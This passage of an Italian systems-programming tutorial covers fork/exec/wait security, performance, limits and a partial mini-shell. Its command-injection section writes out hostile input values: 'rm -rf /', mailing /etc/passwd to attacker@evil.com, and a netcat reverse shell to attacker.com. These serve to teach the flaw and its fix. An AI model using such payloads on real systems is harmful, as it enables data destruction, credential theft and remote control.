  3. Esempio di exploit: se user_input = "; rm -rf /", la stringa risultante sarà "cat ; rm -rf /", che la shell interpreta come due comandi separati: prima cat (che fallisce), poi rm -rf / (che cancella ricorsivamente il filesystem).

  4. Altri vettori di attacco: user_input = "file.txt; mail attacker@evil.com < /etc/passwd" esfiltrerebbe password, mentre user_input = "| nc attacker.com 1234 -e /bin/sh" aprirebbe una reverse shell.

Esempio sicuro:

  1. Costruzione di array di argomenti (char *args[] = {"cat", user_input, NULL};): crea un array dove ogni elemento è un argomento separato. Critico: l’array deve terminare con NULL per indicare la fine degli argomenti.

  2. Fork per isolamento (if (fork() == 0)): crea un processo figlio dedicato all’esecuzione. Questo isola l’esecuzione e permette al padre di continuare dopo aver spawned il comando.

  3. Esecuzione diretta senza shell (execvp("cat", args);): execvp() invoca direttamente l’eseguibile cat passando gli argomenti come array. Non c’è interpretazione shell: anche se user_input contiene ;, |, o altri metacaratteri, questi vengono passati letteralmente a cat come nome di file (causando probabilmente un errore “file non trovato”, ma non esecuzione di codice).

  4. Gestione del fallimento (exit(EXIT_FAILURE);): se execvp() fallisce (file non trovato, permessi insufficienti), il processo figlio termina invece di continuare con codice del padre.

Ulteriori considerazioni di sicurezza:

7.1.2 Variabili d’Ambiente e Sicurezza

Le variabili d’ambiente rappresentano un vettore di attacco significativo, specialmente per programmi che eseguono con privilegi elevati (setuid/setgid). Variabili come LD_LIBRARY_PATH, LD_PRELOAD, PATH, e IFS possono essere manipolate da un attaccante per alterare il comportamento di programmi privilegiati: LD_PRELOAD può forzare il caricamento di librerie malevole, PATH può causare l’esecuzione di comandi trojan, IFS (Internal Field Separator) può manipolare il parsing di comandi shell. Quando si esegue un programma privilegiato tramite exec, è imperativo controllare completamente l’ambiente di esecuzione, fornendo esplicitamente solo le variabili necessarie con valori sicuri e predicibili. L’approccio più sicuro è costruire un ambiente minimo da zero invece di tentare di sanificare l’ambiente ereditato, che potrebbe contenere variabili sconosciute o inaspettate. L’uso di execle() permette di specificare esattamente quali variabili saranno disponibili al nuovo programma, garantendo che nessuna variabile potenzialmente pericolosa venga propagata.

// Prima di exec in programma privilegiato
char *safe_env[] = {
    "PATH=/usr/bin:/bin",
    "IFS= \t\n",
    NULL
};

execle("/path/to/program", "program", arg1, (char *)NULL, safe_env);

Analisi dettagliata del codice:

  1. Costruzione dell’ambiente sicuro (char *safe_env[]): invece di ereditare l’ambiente corrente (che potrebbe essere contaminato da un attaccante), si costruisce esplicitamente un array di stringhe contenente solo le variabili d’ambiente strettamente necessarie.

  2. Impostazione di PATH ("PATH=/usr/bin:/bin"): limita la ricerca di eseguibili a directory di sistema trusted. Questo previene che un attaccante inserisca directory controllate all’inizio del PATH per intercettare chiamate a programmi esterni. Il PATH è ridotto al minimo indispensabile, escludendo directory scrivibili dall’utente come ., ~/bin, /tmp, ecc.

  3. Definizione di IFS ("IFS= \t\n"): la variabile Internal Field Separator è usata dalla shell per separare parole. Un valore manipolato di IFS può causare parsing inatteso di comandi. Impostando esplicitamente IFS a spazio, tab, e newline (i valori standard), si prevengono attacchi che sfruttano IFS modificato.

  4. Terminazione dell’array (NULL): come per gli array di argomenti, l’array di variabili d’ambiente deve terminare con un puntatore NULL per indicare la fine.

  5. Uso di execle() (execle("/path/to/program", ...)): questa variante di exec accetta come ultimo parametro un array di variabili d’ambiente che sostituisce completamente l’ambiente corrente. Il programma eseguito vedrà solo le variabili in safe_env, niente di più.

  6. Path assoluto ("/path/to/program"): si specifica il path completo dell’eseguibile invece di fare affidamento su PATH. Questo elimina ambiguità e previene l’esecuzione di programmi omonimi in directory non fidate.

  7. Lista di argomenti ("program", arg1, (char *)NULL): gli argomenti vengono passati come lista variabile terminata da (char *)NULL. Il primo argomento è convenzionalmente il nome del programma.

Variabili d’ambiente pericolose da escludere:

Best practice aggiuntive:

7.1.3 File Descriptor Leaks

I file descriptor rappresentano un potenziale vettore di information disclosure in applicazioni che eseguono programmi esterni. Per default, tutti i descriptor aperti nel processo padre vengono ereditati dai processi figli e rimangono accessibili anche dopo una chiamata exec, a meno che non siano esplicitamente marcati con il flag FD_CLOEXEC (close-on-exec). Questo comportamento può essere problematico quando si eseguono programmi meno fidati o quando si gestiscono file sensibili: un programma esterno potrebbe accidentalmente o intenzionalmente leggere da o scrivere su descriptor ereditati, potenzialmente accedendo a informazioni riservate o corrompendo dati. La mitigazione di questo rischio richiede una strategia deliberata: i descriptor che non devono essere accessibili al programma eseguito devono essere esplicitamente chiusi prima della exec, oppure marcati con FD_CLOEXEC alla loro apertura o immediatamente dopo. La seconda opzione è preferibile perché è atomica e non soffre di race conditions in ambiente multithread, ma richiede supporto del kernel (disponibile in tutte le versioni moderne di Linux tramite il flag O_CLOEXEC in open()).

// Assicurarsi che descriptor sensibili siano chiusi
int fd = open("sensitive_data.txt", O_RDONLY);
fcntl(fd, F_SETFD, FD_CLOEXEC);

// Oppure chiudere esplicitamente prima di exec
close(fd);

Analisi dettagliata del codice:

Approccio 1: Flag FD_CLOEXEC

  1. Apertura del file (open("sensitive_data.txt", O_RDONLY)): apre un file contenente dati sensibili in modalità sola lettura. Il descriptor risultante viene memorizzato in fd.

  2. Impostazione del flag (fcntl(fd, F_SETFD, FD_CLOEXEC)): modifica i flag del descriptor tramite fcntl(). Il comando F_SETFD imposta i file descriptor flags, e FD_CLOEXEC è il flag che causa la chiusura automatica del descriptor quando il processo effettua una exec. Dopo questa chiamata, se il processo (o un suo figlio) invoca exec, fd verrà automaticamente chiuso prima che il nuovo programma inizi l’esecuzione.

  3. Vantaggi di questo approccio:

Approccio 2: Chiusura esplicita

  1. Chiusura prima di exec (close(fd)): chiude esplicitamente il file descriptor prima di invocare exec. Questo garantisce che il programma eseguito non avrà accesso al descriptor.

  2. Limitazioni di questo approccio:

Best practice consigliate:

  1. Uso di O_CLOEXEC in open() (metodo preferito, moderno):
int fd = open("sensitive_data.txt", O_RDONLY | O_CLOEXEC);

Questo imposta FD_CLOEXEC atomicamente all’apertura, eliminando completamente race conditions. Disponibile su Linux 2.6.23+ e altri Unix moderni.

  1. Impostazione di FD_CLOEXEC su descriptor esistenti:
int flags = fcntl(fd, F_GETFD);
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);

Questo preserva eventuali altri flag già impostati, aggiungendo solo FD_CLOEXEC.

  1. Chiusura massiva prima di exec (per applicazioni legacy):
// Chiudi tutti i descriptor tranne stdin/stdout/stderr
for (int i = 3; i < getdtablesize(); i++) {
    close(i);  // Ignora errori
}

Questo è meno efficiente ma garantisce che nessun descriptor ereditato sia accessibile.

Descriptor particolarmente sensibili da proteggere:

Implicazioni di sicurezza:

7.1.4 Race Condition TOCTOU

Le vulnerabilità TOCTOU (Time-Of-Check-Time-Of-Use) rappresentano una classe critica di race condition che si manifesta quando esiste una finestra temporale tra la verifica di una condizione e l’utilizzo della risorsa basato su quella verifica. In questo intervallo, un attaccante può modificare lo stato del sistema (ad esempio sostituendo un file con un link simbolico a un file sensibile), causando l’esecuzione di operazioni su risorse diverse da quelle verificate. Il problema è particolarmente grave in programmi privilegiati: se un processo setuid verifica i permessi su un file, e poi lo apre presumendo che sia ancora lo stesso file, un attaccante con tempismo preciso può sostituire il file nel mezzo, ottenendo accesso non autorizzato. La soluzione fondamentale è eliminare la finestra temporale eseguendo la verifica e l’utilizzo in un’unica operazione atomica, oppure utilizzare file descriptor invece di pathname per riferirsi alle risorse, dato che un descriptor si riferisce sempre alla stessa inode anche se il file viene spostato o sostituito nel filesystem.

// VULNERABILE
if (access("file.txt", W_OK) == 0) {
    // Attaccante può sostituire file qui
    int fd = open("file.txt", O_WRONLY);  // Potrebbe aprire file diverso
}

// MIGLIORATO: usa open e verifica errori
int fd = open("file.txt", O_WRONLY);
if (fd < 0) {
    perror("open");
} else {
    // Ora sappiamo che fd si riferisce al file corretto
}

Analisi dettagliata del codice:

Esempio vulnerabile:

  1. Check con access() (if (access("file.txt", W_OK) == 0)): verifica se l’utente corrente ha permesso di scrittura su “file.txt”. La funzione access() verifica i permessi usando i UID/GID reali del processo, non quelli effettivi, il che la rende apparentemente utile per programmi setuid.

  2. Finestra di vulnerabilità: dopo che access() ritorna ma prima che open() venga invocata, c’è un intervallo di tempo misurabile (microsecondi o millisecondi) durante il quale un attaccante può:

  3. Use con open() (int fd = open("file.txt", O_WRONLY);): apre “file.txt” in scrittura. A questo punto, “file.txt” potrebbe essere un file completamente diverso da quello verificato da access(). Se il programma è setuid root, potrebbe finire per scrivere su un file di sistema critico.

  4. Scenario di exploit:

Esempio migliorato:

  1. Operazione atomica (int fd = open("file.txt", O_WRONLY);): tenta direttamente di aprire il file in scrittura senza verifica preliminare. Se l’operazione ha successo, fd si riferisce esattamente al file che è stato aperto, con i permessi verificati atomicamente dal kernel.

  2. Verifica del risultato (if (fd < 0)): se open() fallisce, il file non esiste, i permessi sono insufficienti, o c’è un altro errore. Il programma può gestire l’errore appropriatamente.

  3. Garanzia di consistenza (// Ora sappiamo che fd si riferisce al file corretto): dopo un open() riuscito, il file descriptor fd rimane valido e si riferisce alla stessa inode, indipendentemente da modifiche al filesystem. Anche se il file viene rinominato, spostato, o linkato altrove, fd continua a puntare allo stesso file.

Ulteriori tecniche di mitigazione:

  1. Uso di openat() con directory fissata:
int dirfd = open("/trusted/directory", O_RDONLY | O_DIRECTORY);
int fd = openat(dirfd, "file.txt", O_WRONLY);

Questo vincola le operazioni a una directory specifica identificata da descriptor, rendendo più difficili attacchi tramite path manipulation.

  1. Verifica tramite fstat() dopo open:
int fd = open("file.txt", O_WRONLY | O_NOFOLLOW);  // O_NOFOLLOW rifiuta symlink
if (fd >= 0) {
    struct stat st;
    if (fstat(fd, &st) == 0) {
        // Verifica proprietà del file tramite st
        if (st.st_uid != expected_uid) {
            close(fd);
            // File non ha proprietario atteso
        }
    }
}

fstat() opera sul descriptor, non sul pathname, eliminando TOCTOU.

  1. Uso di O_NOFOLLOW e O_EXCL:
// Rifiuta symlink
int fd = open("file.txt", O_WRONLY | O_NOFOLLOW);

// Per creazione atomica
int fd = open("newfile.txt", O_WRONLY | O_CREAT | O_EXCL, 0600);

O_NOFOLLOW causa il fallimento se il path è un symlink, mentre O_EXCL con O_CREAT fallisce se il file già esiste.

  1. Operazioni basate su descriptor invece che pathname:
// Invece di: rename("old", "new");
int oldfd = open("old", O_RDONLY);
int newfd = open("new", O_WRONLY | O_CREAT | O_EXCL, 0600);
// Copia dati tramite descriptor

Principi generali anti-TOCTOU:

7.2 Ottimizzazione delle Performance

7.2.1 Overhead della fork

La system call fork(), nonostante le ottimizzazioni offerte dal meccanismo Copy-on-Write, comporta comunque un overhead non trascurabile che può diventare un collo di bottiglia in applicazioni ad alta frequenza di creazione di processi. L’overhead deriva principalmente da tre componenti: (1) la duplicazione delle page table del processo padre, operazione che richiede allocazione di memoria kernel e copia di strutture dati; (2) la creazione e inizializzazione della task_struct (o struttura equivalente) che rappresenta il nuovo processo nel kernel, includendo la configurazione di scheduler, signal handling, limiti di risorse, e altri metadati; (3) l’inizializzazione del contesto di esecuzione del nuovo processo, incluso il setup delle priorità, delle credenziali di sicurezza, e delle relazioni con altri processi. Su sistemi moderni con grandi spazi di indirizzamento (multi-gigabyte), anche la sola duplicazione delle page table può richiedere millisecondi. Per applicazioni che devono gestire migliaia di richieste al secondo, questo overhead può saturare le capacità del sistema. In questi scenari, alternative come thread pool (per task leggeri che condividono memoria), vfork() (per fork immediatamente seguita da exec, benché deprecata), o clone() con flag specifici (su Linux, per controllo granulare della condivisione) possono offrire performance significativamente migliori, al costo di maggiore complessità nella gestione della sincronizzazione e della sicurezza.

Anche con COW, fork ha un costo:

Per carichi elevati, considerare:

// Thread pool invece di process pool per task leggeri
// vfork() per fork immediatamente seguita da exec (deprecato, usare con cautela)
// clone() su Linux per controllo fine-grained della condivisione

Analisi dettagliata delle alternative:

  1. Thread pool per task leggeri: quando i task condividono lo stesso spazio di indirizzamento e non richiedono isolamento forte, i thread POSIX (pthread) offrono creazione molto più rapida e overhead minore. Un pool di thread precreati elimina completamente il costo di creazione per-task:

  2. vfork() per pattern fork-exec: vfork() crea un processo figlio che condivide lo spazio di indirizzamento del padre fino all’invocazione di exec() o _exit(). Questo elimina la duplicazione delle page table, riducendo drasticamente l’overhead:

  3. clone() per controllo fine-grained (Linux-specific): clone() permette di specificare esattamente quali risorse condividere tra padre e figlio tramite flag:

    pid_t pid = clone(child_func, child_stack, 
                      CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD, 
                      arg);
    

Confronto prestazionale (ordini di grandezza su sistema moderno):

Quando usare cosa:

Best practice per minimizzare overhead di fork:

7.2.2 Efficienza di exec

L’invocazione ripetuta di exec() per eseguire lo stesso programma con parametri diversi rappresenta un pattern inefficiente che può degradare significativamente le performance in scenari batch o pipeline processing. Ogni chiamata a exec() comporta: (1) caricamento dell’eseguibile dal filesystem, (2) parsing degli header ELF e configurazione dei segmenti di memoria, (3) risoluzione e caricamento delle librerie dinamiche, (4) relocation dei simboli e linking dinamico, (5) inizializzazione delle strutture runtime del programma (costruttori C++, inizializzatori globali). Su filesystem lenti o con eseguibili di grandi dimensioni, questo overhead può dominare il tempo totale di esecuzione, specialmente quando il lavoro effettivo per task è minimo. L’approccio ottimale è eseguire il programma una sola volta e passargli tutti i task da elaborare attraverso meccanismi di IPC come pipe, socket, o file condivisi. Questo pattern “long-running processor” mantiene il programma in memoria, evitando completamente l’overhead di setup ripetuto, e può inoltre beneficiare di cache (filesystem, TLB, CPU) già calde. Il trade-off è una maggiore complessità nel design dell’applicazione, che deve gestire un protocollo di comunicazione invece di semplici argomenti da linea di comando.

Evitare exec ripetute per lo stesso programma:

// INEFFICIENTE: exec per ogni task
for (int i = 0; i < 1000; i++) {
    if (fork() == 0) {
        execl("/usr/bin/processor", "processor", task[i], NULL);
    }
    wait(NULL);
}

// MIGLIORE: esegui processor una volta, passagli tutti i task via pipe/file

Analisi dettagliata del codice:

Approccio inefficiente:

  1. Loop seriale (for (int i = 0; i < 1000; i++)): elabora 1000 task sequenzialmente, uno alla volta.

  2. Fork per ogni task (if (fork() == 0)): crea un nuovo processo per ciascun task. Con 1000 task, questo significa 1000 fork, ognuna con il suo overhead di duplicazione page table e setup processo.

  3. Exec per ogni task (execl("/usr/bin/processor", "processor", task[i], NULL);): per ogni task, carica completamente il programma processor da filesystem:

  4. Attesa seriale (wait(NULL);): il padre attende il completamento di ogni figlio prima di procedere al prossimo. Questo è seriale e non sfrutta parallelismo.

  5. Costo totale per 1000 task:

Approccio ottimizzato:

L’approccio migliore dipende dalle caratteristiche del programma processor:

Opzione 1: Pipe con batch processing

int pipefd[2];
pipe(pipefd);

if (fork() == 0) {
    // Figlio: esegue processor una volta
    close(pipefd[1]);  // Chiudi scrittura
    dup2(pipefd[0], STDIN_FILENO);
    close(pipefd[0]);
    execl("/usr/bin/processor", "processor", "--batch", NULL);
    exit(EXIT_FAILURE);
}

// Padre: scrive tutti i task sulla pipe
close(pipefd[0]);  // Chiudi lettura
for (int i = 0; i < 1000; i++) {
    write(pipefd[1], task[i], strlen(task[i]));
    write(pipefd[1], "\n", 1);
}
close(pipefd[1]);  // Chiudi pipe = EOF per processor
wait(NULL);

Analisi:

Opzione 2: File con lista di task

// Crea file con tutti i task
FILE *fp = fopen("/tmp/tasks.txt", "w");
for (int i = 0; i < 1000; i++) {
    fprintf(fp, "%s\n", task[i]);
}
fclose(fp);

// Esegui processor una volta con file input
if (fork() == 0) {
    execl("/usr/bin/processor", "processor", 
          "--input-file", "/tmp/tasks.txt", NULL);
    exit(EXIT_FAILURE);
}
wait(NULL);
unlink("/tmp/tasks.txt");

Vantaggi:

Opzione 3: Socket Unix per comunicazione bidirezionale

int sockfd[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, sockfd);

if (fork() == 0) {
    // Processor come server persistente
    close(sockfd[0]);
    dup2(sockfd[1], STDIN_FILENO);
    dup2(sockfd[1], STDOUT_FILENO);
    execl("/usr/bin/processor", "processor", "--server-mode", NULL);
}

close(sockfd[1]);
for (int i = 0; i < 1000; i++) {
    // Invia task
    send(sockfd[0], task[i], strlen(task[i]), 0);
    // Ricevi risultato
    char result[1024];
    recv(sockfd[0], result, sizeof(result), 0);
    // Processa risultato
}
close(sockfd[0]);
wait(NULL);

Vantaggi:

Ulteriori ottimizzazioni:

Quando l’approccio inefficiente è accettabile:

7.2.3 Gestione di Molti Processi Figli

In applicazioni server che gestiscono centinaia o migliaia di processi figli concorrenti (ad esempio web server, application server, task processor distribuiti), la strategia di sincronizzazione diventa critica per le performance complessive. L’approccio naive di usare un loop bloccante con wait() nel processo principale presenta limitazioni severe: (1) scala male con molti processi perché il loop deve iterare sequenzialmente attraverso ogni terminazione, (2) blocca il processo principale impedendo di accettare nuove richieste o eseguire altre operazioni, (3) può causare accumulo di processi zombie se i figli terminano più velocemente di quanto il padre riesca a raccoglierli. L’approccio raccomandato utilizza un signal handler asincrono per SIGCHLD che raccoglie i processi zombie non appena terminano, in background, senza bloccare il flusso principale dell’applicazione. Questo handler deve usare waitpid() con flag WNOHANG in un loop per garantire che tutti i figli terminati vengano raccolti, poiché i segnali possono essere “coalescenti” (multipli SIGCHLD possono risultare in un’unica invocazione dell’handler). Critico è anche preservare e ripristinare errno nell’handler per prevenire che system call del main thread vengano influenzate dal processing del segnale.

Per applicazioni con centinaia di figli:

// Usare waitpid con WNOHANG in handler SIGCHLD
void sigchld_handler(int sig) {
    int saved_errno = errno;
    while (waitpid(-1, NULL, WNOHANG) > 0);
    errno = saved_errno;
}

// Invece di loop bloccante in main:
// while ((pid = wait(NULL)) > 0);

Analisi dettagliata del codice:

Approccio ottimizzato (handler asincrono):

  1. Firma dell’handler (void sigchld_handler(int sig)): funzione che verrà invocata automaticamente dal kernel ogni volta che un processo figlio termina o cambia stato. Il parametro sig conterrà il valore SIGCHLD.

  2. Salvataggio di errno (int saved_errno = errno;): questa linea è CRITICA. Gli signal handler possono essere invocati in qualsiasi momento, anche nel mezzo di una system call che ha appena impostato errno. Se l’handler modifica errno (cosa che waitpid() può fare), il codice interrotto potrebbe vedere un valore di errno inatteso, causando comportamenti errati. Salvare e ripristinare errno garantisce che l’handler sia “trasparente” rispetto a questo stato globale.

  3. Loop di raccolta (while (waitpid(-1, NULL, WNOHANG) > 0);): questo è il cuore dell’handler. Analizziamolo in dettaglio:

  4. Necessità del loop: questo è fondamentale. I segnali non sono accodati: se 10 figli terminano quasi simultaneamente, potrebbero risultare in un solo SIGCHLD. Il loop garantisce che tutti vengano raccolti.

  5. Ripristino di errno (errno = saved_errno;): ripristina il valore originale di errno, rendendo l’handler trasparente al codice interrotto.

Perché questo è più efficiente del loop bloccante:

Approccio inefficiente (loop bloccante):

while ((pid = wait(NULL)) > 0) {
    // Elabora terminazione
}

Problemi:

Approccio efficiente (handler asincrono):

Setup completo dell’handler:

void setup_sigchld_handler() {
    struct sigaction sa;
    
    // Configura handler
    sa.sa_handler = sigchld_handler;
    
    // Maschera vuota: non bloccare altri segnali durante handler
    sigemptyset(&sa.sa_mask);
    
    // Flag importanti:
    sa.sa_flags = SA_RESTART;  // Riavvia syscall interrotte
    // sa.sa_flags |= SA_NOCLDSTOP;  // Non ricevere SIGCHLD per stop/continue
    
    // Installa handler
    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
        perror("sigaction");
        exit(EXIT_FAILURE);
    }
}

Considerazioni avanzate:

  1. Signal-safety: all’interno di un signal handler, si possono chiamare solo funzioni “async-signal-safe”. waitpid() è safe, printf() non lo è. Questo è il motivo per cui l’handler esempio è così minimalista.

  2. Raccolta dello status: se serve analizzare come i processi sono terminati:

void sigchld_handler(int sig) {
    int saved_errno = errno;
    int status;
    pid_t pid;
    
    while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
        // Memorizza info in struttura dati globale signal-safe
        // O usa write() su pipe verso main thread per notifica
    }
    
    errno = saved_errno;
}
  1. Comunicazione con main thread: per passare informazioni dall’handler al main thread in modo safe, usare il pattern “self-pipe”:
// Setup globale
int signal_pipe[2];

void sigchld_handler(int sig) {
    int saved_errno = errno;
    char byte = 1;
    
    while (waitpid(-1, NULL, WNOHANG) > 0) {
        write(signal_pipe[1], &byte, 1);  // Signal-safe
    }
    
    errno = saved_errno;
}

// In main thread
void event_loop() {
    fd_set readfds;
    FD_ZERO(&readfds);
    FD_SET(signal_pipe[0], &readfds);
    // Altri fd...
    
    select(max_fd, &readfds, NULL, NULL, NULL);
    
    if (FD_ISSET(signal_pipe[0], &readfds)) {
        char buf[256];
        read(signal_pipe[0], buf, sizeof(buf));
        // Processa notifiche di terminazione figli
    }
}
  1. Performance con migliaia di processi: su sistemi con >1000 processi figli attivi:

Metriche di efficienza:

7.3 Limiti di Sistema

7.3.1 Limiti di Processi

# Limite per utente
ulimit -u

# Limite globale (Linux)
cat /proc/sys/kernel/pid_max
cat /proc/sys/kernel/threads-max

Programmi robusti dovrebbero gestire EAGAIN da fork:

pid_t pid;
int retries = 5;

while ((pid = fork()) < 0 && retries-- > 0) {
    if (errno == EAGAIN) {
        sleep(1);  // Attendi e riprova
    } else {
        perror("fork");
        exit(EXIT_FAILURE);
    }
}

if (pid < 0) {
    fprintf(stderr, "fork failed dopo retry\n");
    exit(EXIT_FAILURE);
}

7.3.2 Limiti di Memoria

ENOMEM da fork indica insufficiente memoria per le strutture kernel:

if (fork() < 0) {
    if (errno == ENOMEM) {
        // Liberare risorse, ridurre footprint
        // Tentare garbage collection se applicabile
        // Loggare e possibilmente terminare gracefully
    }
}

7.3.3 Limiti su Argomenti exec

La dimensione totale di argv e envp è limitata (tipicamente ARG_MAX, ~2MB):

#include <unistd.h>
#include <stdio.h>

int main() {
    long arg_max = sysconf(_SC_ARG_MAX);
    printf("ARG_MAX: %ld bytes\n", arg_max);
    return 0;
}

7.4 Best Practice

7.4.1 Gestione Robusta degli Errori

pid_t pid = fork();
if (pid < 0) {
    // Logging dettagliato
    fprintf(stderr, "fork failed: %s\n", strerror(errno));
    
    // Cleanup risorse
    // ...
    
    // Decisione appropriata: retry, fallback, terminazione
    exit(EXIT_FAILURE);
}

7.4.2 Chiusura Completa dei Descriptor

// Nel figlio, prima di exec
for (int fd = 3; fd < sysconf(_SC_OPEN_MAX); fd++) {
    close(fd);  // Ignora errori
}

// O marca tutti i nuovi descriptor con CLOEXEC:
int fd = open("file.txt", O_RDONLY | O_CLOEXEC);

7.4.3 Prevenzione di Zombie

// Metodo 1: wait esplicito
wait(NULL);

// Metodo 2: signal handler
signal(SIGCHLD, SIG_IGN);

// Metodo 3: handler con waitpid
void handler(int sig) {
    while (waitpid(-1, NULL, WNOHANG) > 0);
}

7.4.4 Documentazione del Comportamento

Commentare chiaramente quando un processo:

Questo facilita manutenzione e debugging.


8. Conclusioni

8.1 Sintesi dei Concetti Fondamentali

Il presente documento ha esplorato in modo sistematico e approfondito le primitive fondamentali per la gestione dei processi in ambiente Unix/Linux. Ricapitoliamo i concetti chiave:

getpid e getppid: forniscono identificazione univoca dei processi, elemento essenziale per coordinazione e debugging.

fork: implementa il modello di creazione per duplicazione, creando un processo figlio come copia quasi esatta del padre. Il meccanismo Copy-on-Write garantisce efficienza, mentre la semantica chiara e predicibile facilita la programmazione.

famiglia exec: permette la sostituzione del codice in esecuzione, trasformando un processo in un altro. La varietà di funzioni (execl, execv, execlp, execvp, execle, execvpe) offre flessibilità nella specifica di programma, argomenti e ambiente.

wait e waitpid: realizzano la sincronizzazione padre-figlio, permettendo al padre di attendere la terminazione dei figli e recuperare informazioni sul loro stato di uscita. Le macro WIFEXITED, WEXITSTATUS, WIFSIGNALED, ecc. permettono analisi dettagliata dello status.

La combinazione di queste primitive, apparentemente semplici, permette la costruzione di architetture software complesse e sofisticate. Il pattern fork-exec è alla base di shell, server web, sistemi di compilazione e innumerevoli altri strumenti Unix.

8.2 Evoluzione e Alternative Moderne

Sebbene le primitive discusse abbiano oltre 40 anni, rimangono fondamentali nei sistemi Unix moderni. Tuttavia, l’evoluzione tecnologica ha introdotto alternative e estensioni:

8.2.1 Thread (pthread)

Per concorrenza all’interno dello stesso spazio di indirizzamento:

#include <pthread.h>

void *thread_function(void *arg) {
    // Codice del thread
    return NULL;
}

pthread_t thread;
pthread_create(&thread, NULL, thread_function, NULL);
pthread_join(thread, NULL);

I thread condividono memoria, file descriptor e altre risorse, rendendo la comunicazione più efficiente ma introducendo complessità nella sincronizzazione.

8.2.2 clone (Linux-specific)

System call più flessibile che permette controllo fine-grained sulla condivisione:

#include <sched.h>

int child_func(void *arg) {
    // Codice del figlio
    return 0;
}

char stack[8192];
pid_t pid = clone(child_func, stack + 8192, 
                  CLONE_VM | CLONE_FS | SIGCHLD, NULL);

8.2.3 posix_spawn

API di alto livello che combina fork ed exec:

#include <spawn.h>

extern char **environ;
char *argv[] = {"ls", "-l", NULL};

pid_t pid;
posix_spawn(&pid, "/bin/ls", NULL, NULL, argv, environ);
waitpid(pid, NULL, 0);

Potenzialmente più efficiente poiché può evitare la duplicazione completa dello spazio di indirizzamento.

8.2.4 Container e Namespace (Linux)

Tecnologie moderne per isolamento dei processi:

// Creazione di namespace separati
unshare(CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWNS);

Fondamentali per virtualizzazione a livello di sistema operativo (Docker, LXC).

8.3 Considerazioni Finali

La padronanza delle primitive fork, exec, wait e waitpid è essenziale per chiunque sviluppi software di sistema su piattaforme Unix/Linux. Queste primitive non sono semplicemente API da invocare, ma rappresentano concetti architetturali fondamentali che influenzano profondamente la progettazione software.

Vantaggi del modello Unix:

  1. Semplicità concettuale: ogni primitiva ha una responsabilità chiara e ben definita.
  2. Composabilità: le primitive possono essere combinate in modi arbitrariamente complessi.
  3. Robustezza: la separazione tra creazione e specifica del codice (fork-exec) previene molte classi di errori.
  4. Universalità: il modello è implementato coerentemente su tutti i sistemi Unix.

Sfide e attenzioni:

  1. Complessità della gestione degli errori: ogni chiamata può fallire in modi sottili.
  2. Sincronizzazione: race condition e deadlock richiedono attenzione.
  3. Sicurezza: l’esecuzione di codice esterno apre vettori di attacco.
  4. Performance: per alcuni carichi, i thread o approcci asincroni possono essere più adatti.

In conclusione, le system call per la gestione dei processi costituiscono uno dei pilastri dell’architettura Unix, dimostrando come principi di design semplici e ben concepiti possano produrre sistemi potenti, flessibili e duraturi. La loro comprensione approfondita non solo abilita lo sviluppo di software di sistema efficace, ma fornisce anche intuizioni preziose sui principi generali di progettazione software e architetturale.


9. Bibliografia e Riferimenti

Testi Fondamentali:

  1. W. Richard Stevens, Stephen A. Rago, Advanced Programming in the UNIX Environment, 3rd Edition, Addison-Wesley, 2013.

  2. Michael Kerrisk, The Linux Programming Interface, No Starch Press, 2010.

  3. Brian W. Kernighan, Rob Pike, The UNIX Programming Environment, Prentice Hall, 1984.

Standard e Specifiche:

  1. IEEE Std 1003.1-2017 (POSIX.1-2017), The Open Group Base Specifications Issue 7.

  2. The Single UNIX Specification, Version 4 (SUSv4).

Documentazione di Sistema:

  1. Linux Man Pages, sezioni 2 (system calls) e 3 (library functions).

Risorse Online:

  1. The Linux Kernel Archives, https://www.kernel.org/

  2. GNU C Library Documentation, https://www.gnu.org/software/libc/manual/

Articoli Tecnici:

  1. Dennis M. Ritchie, Ken Thompson, “The UNIX Time-Sharing System”, Communications of the ACM, Vol. 17, No. 7, July 1974.

  2. Maurice J. Bach, The Design of the UNIX Operating System, Prentice Hall, 1986.


10. Appendici

10.1 Tabella Riassuntiva delle System Call

System Call Header Scopo Ritorno Successo Ritorno Errore
getpid() <unistd.h> Ottiene PID corrente PID (sempre) N/A (infallibile)
getppid() <unistd.h> Ottiene PID del padre PPID (sempre) N/A (infallibile)
fork() <unistd.h> Crea processo figlio 0 (figlio), PID>0 (padre) -1, errno impostato
execl() <unistd.h> Esegue programma (lista) Non ritorna -1, errno impostato
execlp() <unistd.h> Esegue programma (lista, PATH) Non ritorna -1, errno impostato
execle() <unistd.h> Esegue programma (lista, env) Non ritorna -1, errno impostato
execv() <unistd.h> Esegue programma (array) Non ritorna -1, errno impostato
execvp() <unistd.h> Esegue programma (array, PATH) Non ritorna -1, errno impostato
execvpe() <unistd.h> Esegue programma (array, PATH, env) Non ritorna -1, errno impostato
wait() <sys/wait.h> Attende figlio qualsiasi PID figlio -1, errno impostato
waitpid() <sys/wait.h> Attende figlio specifico PID figlio o 0 -1, errno impostato

10.2 Codici di Errore Comuni

Codice errno Significato Contesto Tipico
EAGAIN Resource temporarily unavailable fork(): limite processi raggiunto
ENOMEM Out of memory fork(): memoria insufficiente
ECHILD No child processes wait(), waitpid(): nessun figlio da attendere
EINTR Interrupted system call wait(), waitpid(): interrotto da segnale
E2BIG Argument list too long exec*(): troppi argomenti o ambiente troppo grande
EACCES Permission denied exec*(): file non eseguibile
ENOENT No such file or directory exec*(): file non trovato
ENOEXEC Exec format error exec*(): formato eseguibile non riconosciuto
ETXTBSY Text file busy exec*(): file aperto in scrittura

10.3 Esempio Completo di Applicazione

Applicazione: mini-shell semplificata

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

#define MAX_ARGS 64
#define MAX_LINE 1024

void parse_command(char *line, char **args) {
    int i = 0;
    char *token = strtok(line, " \t\n");
    
    while (token != NULL && i < MAX_ARGS - 1) {
        args[i++] = token;
        token = strtok(NULL, " \t\n");
    }
    args[i] = NULL;
}

int execute_command(char **args) {
    pid_t pid = fork();
    
    if (pid < 0) {
        perror("fork");
        return -1;
    } else if (pid == 0) {
        // Processo figlio
        if (execvp(args[0], args) < 0) {
            perror("exec");
            exit(EXIT_FAILURE);
        }
    } else {
        // Processo padre
        int status;
        waitpid(pid, &status, 0);
        
        if (WIFEXITED(status)) {
            return WEXITSTATUS(status);
